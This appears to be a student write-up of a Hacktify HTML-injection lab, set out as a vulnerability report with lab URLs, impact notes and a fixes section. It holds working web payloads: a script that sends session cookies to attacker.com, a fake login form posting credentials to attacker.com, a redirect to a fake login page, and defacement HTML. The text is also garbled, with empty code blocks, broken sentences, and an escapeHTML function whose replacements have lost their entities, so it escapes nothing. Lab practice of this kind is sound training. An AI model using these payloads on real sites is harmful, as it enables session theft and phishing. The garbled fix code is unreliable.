Hacktify Lab 1 Finall
Hacktify Lab 1 Finall
1. Report Overview:
· Report Title : HTML Injection in HTML's are easy
2. Summary
A HTML Injection was discovered in website, allowing an attacker to easy. This vulnerability
could be exploited HTML Injection Lab, posing a serious security risk.
3. Steps to Reproduce
· 3.1 Affected URL / Endpoint
· Lab 1
```
https://labs.hacktify.in/HTML/html_lab/lab_1/html_injection_1.php
```
· Lab 2
```
https://labs.hacktify.in/HTML/html_lab/lab_2/profile.php
```
```
https://labs.hacktify.in/HTML/html_lab/lab_2/profile.php
```
· Lab 1
```html
```
· Lab 2
```html
<b>Test</b>
```
```html
<h1>Hacked!</h1>
```
i. Navigate to https://example.com/.
ii. Enter the following payload in **[input field, HTTP parameter, etc.]**:
```
```
<script>alert('Hacked!');</script> executed,
}
we know:
Create deface.html:
html
<h1 style="color:red">HACKED!</h1>
<img src="https://example.com/hack.jpg">
Create phish.html:
html
<h2>Login to continue</h2>
</form>
Create xss.html:
html
Create steal.html:
html
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>
If executed, it steals user session cookies.
Create redirect.html:
html
Try non-standard extensions: xss.svg (some browsers execute scripts inside SVG)
· Lab
HTML Injection Exploitation
Now, try injecting malicious HTML.
```
http://labs.hacktify.in/HTML/html_lab/lab_5/html_injection_5.php?
name=<h1 style="color:red">HACKED!</h1><img
src="https://example.com/hack.jpg">
```
```
http://labs.hacktify.in/HTML/html_lab/lab_5/html_injection_5.php?
name=<form action="http://attacker.com/phish" method="POST"><input
type="text" name="username" placeholder="Username"><input
type="password" name="password" placeholder="Password"><input
type="submit" value="Login"></form>
```
- If the page renders a **fake login form**, it can steal user credentials.
i. Execute JavaScript
```
http://labs.hacktify.in/HTML/html_lab/lab_5/html_injection_5.php?
name=<script>alert('XSS!')</script>
```
```
http://labs.hacktify.in/HTML/html_lab/lab_5/html_injection_5.php?name=<meta http-
equiv="refresh" content="0;url=http://attacker.com/fake-login">
```
· User Impact : Users may interact with fake forms, links, or misleading content.
· Business Risk : Brand damage, legal risks (e.g., GDPR violations), loss of user trust.
Example:
- Attackers can inject malicious HTML into the system, potentially leading to phishing attacks or
defacement.
- If combined with JavaScript execution, it could escalate to Stored XSS, leading to session
hijacking or "data theft".
6. Recommended Fixes
- Escape special characters (`<`, `>`, `"` `'`) before rendering user input.
- Example (JavaScript):
```js
function escapeHTML(str) {
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
```
*Output Encoding:
- Example:
```html
```